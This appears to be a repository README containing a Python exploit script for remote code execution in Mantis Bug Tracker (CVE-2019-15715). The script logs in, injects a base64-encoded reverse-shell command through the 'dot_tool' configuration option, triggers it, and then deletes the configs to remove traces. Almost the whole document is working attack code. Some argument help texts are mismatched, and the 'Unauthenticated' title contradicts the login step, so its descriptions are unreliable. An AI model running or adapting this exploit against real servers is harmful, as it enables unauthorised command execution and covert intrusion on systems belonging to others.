README.md
Rendering markdown...
# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: <=2.22.0
# CVE : CVE-2019-15715
# References: https://mantisbt.org/bugs/view.php?id=26091
import requests
import urllib.parse
from base64 import b64encode
from re import split
import argparse
class exploit():
def __init__(self):
self.s = requests.Session()
parser = argparse.ArgumentParser(description="Executes an arbitrary command on a Mantis Bug Tracker server.")
parser.add_argument("-rh", "--rhost", help="Single Confluence Server URL")
parser.add_argument("-rp", "--rport", help="File containing list of IP addresses")
parser.add_argument("-lh", "--lhost", help="Command to Execute")
parser.add_argument("-lp", "--lport", help="Open an interactive shell on the specified URL")
parser.add_argument("-u", "--username", help="Username to hijack")
parser.add_argument("-p", "--password", help="New password after account hijack")
parser.add_argument("-e", "--endpoint", help="Location of mantis in URL")
parser.add_argument("-rs", "--reverse_shell", help="Base64 encoded reverse shell payload")
args = parser.parse_args()
self.rhost = args.rhost
self.rport = args.rport
self.lhost = args.lhost
self.lport = args.lport
self.verify_user_id = "1" # User id for the target account
self.username = args.username # Username to hijack
self.password = args.password # New password after account hijack
self.endpoint = args.endpoint # Location of mantis in URL
self.reverse_shell = f"echo {urllib.parse.quote_plus(args.reverse_shell)} | base64 -d | /bin/bash"
self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
self.url = f"http://{self.rhost}:{self.rport}{self.endpoint}"
def login(self):
# Authenticate as the target user
r = self.s.post(url=f"{self.url}/login.php",headers=self.headers,data=f"return=index.php&username={self.username}&password={self.password}&secure_session=on")
if "login_page.php" not in r.url:
print(f"Authenticated as {self.username}!")
def create_config(self, option, value):
# Navigates to /adm_config_report.php to retrieve the token
url = f"{self.url}/adm_config_report.php"
r = self.s.get(url=url, headers=self.headers)
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1] # Retrieves the token to submit during the config creation
if adm_config_set_token == None:
print("Unable to retrieve the token.")
exit()
# Creates the config
data = f"adm_config_set_token={adm_config_set_token}&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option={option}&original_config_option=&type=0&value={urllib.parse.quote_plus(value)}&action=create&config_set=Create+Configuration+Option"
url = f"{self.url}/adm_config_set.php"
r = self.s.post(url=url, headers=self.headers, data=data)
def exploit(self):
# Navigates to /workflow_graph_img.php to trigger the reverse shell
url = f"{self.url}/workflow_graph_img.php"
print("Triggering reverse shell")
try:
r = self.s.get(url=url,headers=self.headers, timeout=3)
if r.status_code == 200:
print("Reverse shell triggered successfully.")
except:
print("Reverse shell failed to trigger.")
def cleanup(self):
# Delete the config settings that were created to send the reverse shell
print("Cleaning up")
cleaned_up = False
CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})
data = f"return=index.php&username={self.username}&password={self.password}&secure_session=on"
url = f"{self.url}/login.php"
r = self.s.post(url=url,headers=CleanupHeaders,data=data)
ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
for config in ConfigsToCleanup:
# Get adm_config_delete_token
url = f"{self.url}/adm_config_report.php"
r = self.s.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->',r.text)
# First element of the response list is garbage, delete it
del test[0]
cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option':config})
cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})
# Delete the config
print("Deleting the " + config + " config.")
url = f"{self.url}/adm_config_delete.php"
data = f"adm_config_delete_token={cleanup_dict['adm_config_delete_token']}&user_id={cleanup_dict['user_id']}&project_id={cleanup_dict['project_id']}&config_option={cleanup_dict['config_option']}&_confirmed=1"
r = self.s.post(url=url,headers=CleanupHeaders,data=data)
#Confirm if actually cleaned up
r = self.s.get(url=f"{self.url}/adm_config_report.php", headers=CleanupHeaders)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True
if cleaned_up == True:
print("Successfully cleaned up")
else:
print("Unable to clean up configs")
exploit=exploit()
exploit.login()
# As mentioned here: https://mantisbt.org/bugs/view.php?id=26091
# Step 1: Type "relationship_graph_enable" into Configuration Option with a value of 1 to enable the graphs.
exploit.create_config(option="relationship_graph_enable",value="1")
# Step 2: Type "dot_tool" into Configuration Option with a value of "touch /tmp/vulnerable;"
exploit.create_config(option="dot_tool",value= exploit.reverse_shell + ';')
# Step 3: Visit: /workflow_graph_img.php
exploit.exploit()
exploit.cleanup()